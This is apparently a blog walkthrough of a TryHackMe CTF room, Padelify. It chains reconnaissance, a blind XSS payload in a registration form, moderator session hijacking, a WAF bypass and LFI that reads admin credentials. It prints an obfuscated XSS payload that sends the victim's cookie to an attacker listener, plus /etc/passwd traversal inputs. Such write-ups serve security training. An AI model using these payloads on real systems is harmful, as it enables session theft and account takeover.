Post cover image
Padelify Walkthrough — TryHackMe CTF

September 25, 2026

[Padelify] — Blind XSS to Moderator Account Takeover, WAF Bypass and LFI Chain

How a moderator review workflow became the entry point for full admin compromise.

By Bash Overflow

4 min read

🔓 Free Link

Table of Contents

  1. Reconnaissance
  2. Blind XSS to Cookie Hijacking
  3. WAF Bypass and Local File Inclusion

Reconnaissance

  • First, I added the target to /etc/hosts:
<target_IP>    padelify.thm
  • Run a full port scan against the target:
$ nmap -sV -sC -T4 -p- --min-rate 5000 padelify.thm
Image 1 — Padelify Walkthrough — TryHackMe CTF
  • The scan identified two open ports: 22 and 80.
  • I started by probing port 80 with curl, but the server returned a 403 Forbidden response:
$ curl -sI http://padelify.thm

HTTP/1.1 403 Forbidden
Date: Thu, 24 Sep 2026 04:38:35 GMT
Server: Apache/2.4.58 (Ubuntu)
Last-Modified: Sat, 08 Nov 2025 11:26:57 GMT
ETag: "b38-643139370245f"
Accept-Ranges: bytes
Content-Length: 2872
Content-Type: text/html
  • I tried the request again, this time with a custom User-Agent. This returned a 200 OK response:
$ curl -sI -H "User-agent: Mozilla" http://padelify.thm

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2026 04:41:07 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: PHPSESSID=3042qr12bop03rk574sbff3fsr; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
  • One thing that immediately stood out was the Set-Cookie header. The session cookie did not include either the HttpOnly or Secure flag. This became relevant later when testing for XSS-based cookie theft.
  • I opened the application directly in a browser, where the target displayed a registration form.
Image 2 — Padelify Walkthrough — TryHackMe CTF
  • Because the application returned 403 Forbidden to the initial curl request, I also checked whether the target was protected by a WAF:
$ wafw00f http://padelify.thm
Image 3  — Padelify Walkthrough — TryHackMe CTF
  • I continued with directory fuzzing using ffuf:
$ ffuf -u http://padelify.thm/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -ic -ac -c -t 40 -rate 40 -H "User-agent: Mozilla"
Image 4  — Padelify Walkthrough — TryHackMe CTF
  • The scan revealed two interesting directories: config and logs.
  • I opened both directories through the browser.
  • The logs directory exposed an error.log file containing several interesting entries:
http://padelify.thm/logs/    -> error.log

[Sat Nov 08 12:03:11.123456 2025] [info] [pid 2345] Server startup: Padelify v1.4.2
[Sat Nov 08 12:03:11.123789 2025] [notice] [pid 2345] Loading configuration from /var/www/html/config/app.conf
[Sat Nov 08 12:05:02.452301 2025] [warn] [modsec:99000005] [client 10.10.84.50:53122] NOTICE: Possible encoded/obfuscated XSS payload observed
[Sat Nov 08 12:08:12.998102 2025] [error] [pid 2361] DBWarning: busy (database is locked) while writing registrations table
[Sat Nov 08 12:11:33.444200 2025] [error] [pid 2378] Failed to parse admin_info in /var/www/html/config/app.conf: unexpected format
[Sat Nov 08 12:12:44.777801 2025] [notice] [pid 2382] Moderator login failed: 3 attempts from 10.10.84.99
[Sat Nov 08 12:13:55.888902 2025] [warn] [modsec:41004] [client 10.10.84.212:53210] Double-encoded sequence observed (possible bypass attempt)
[Sat Nov 08 12:14:10.101103 2025] [error] [pid 2391] Live feed: cannot bind to 0.0.0.0:9000 (address already in use)
[Sat Nov 08 12:20:00.000000 2025] [info] [pid 2401] Scheduled maintenance check completed; retention=30 days
  • The config directory was also accessible, but direct access to its contents was blocked:
http://padelify.thm/config/  -> app.conf

403
FORBIDDEN
Access has been blocked. Web Application Firewall is ACTIVE.
⟵ Return to Safe Zone
  • Next, I tested the user registration functionality.
  • After registering a user, the application displayed the following message:
Registration submitted - a moderator will review your request.
  • This was an important clue. The message indicated that registration requests were reviewed by a moderator, suggesting that user-controlled input, including the username, would eventually be rendered in the moderator's browser. That made the registration form a potential target for XSS.
  • I injected an XSS payload into the username field.
  • Several standard payloads failed, so I modified the payload and used the following variant:
<details open ontoggle="new Image().src='http://<Attacker_IP>:4444/?c='+document[String.fromCharCode(99,111,111,107,105,101)]">test</details>
  • I prepared a listener on the attacker machine:
$ nc -lvnp 4444
  • The registration was successfully submitted and returned a 302 response.
Image 5  — Padelify Walkthrough — TryHackMe CTF
  • At this stage, I received the moderator's session cookie.
Image 6  — Padelify Walkthrough — TryHackMe CTF
  • I navigated to the login page and modified the session cookie using the Cookie-Editor browser extension.
Image 7  — Padelify Walkthrough — TryHackMe CTF
  • The modified session allowed me to authenticate as the moderator, where I obtained the first flag.
Image 8  — Padelify Walkthrough — TryHackMe CTF

WAF Bypass and Local File Inclusion

  • While exploring the moderator dashboard, I found another interesting feature that appeared worth testing for LFI:
GET /live.php?page=match.php HTTP/1.1
Host: padelify.thm
  • I modified the page parameter with the following payloads:
/etc/passwd
/e?c/pa??wd
  • Several attempts did not provide any useful insight, and I was stuck at this stage for quite some time. The application continued returning:
File not found or blocked by WAF.
Image 9 — Padelify Walkthrough — TryHackMe CTF
  • Eventually, I tried URL-encoding the entire payload using Burp Suite.
  • I selected /config/app.conf, then used:
Right-click → Convert Selection → URL → URL-encode all characters
Image 10  — Padelify Walkthrough — TryHackMe CTF
  • This bypassed the filtering and allowed me to retrieve the contents of app.conf.
  • The configuration file exposed admin credentials, which I then used to authenticate through:
http://padelify.thm/login.php

Username: admin
Password: ....
  • Using these credentials, I successfully logged in as the administrator and obtained the second flag.
Image 11 — Padelify Walkthrough — TryHackMe CTF

📢 Enjoyed this post? Stay connected! If you found this article helpful or insightful, consider following me for more:

🙏Your support is appreciated.

Latest Cybersecurity News, Vulnerabilities, and Technical Analysis Stay updated with the latest cybersecurity news, discover vulnerabilities, and explore technical analysis in our lab…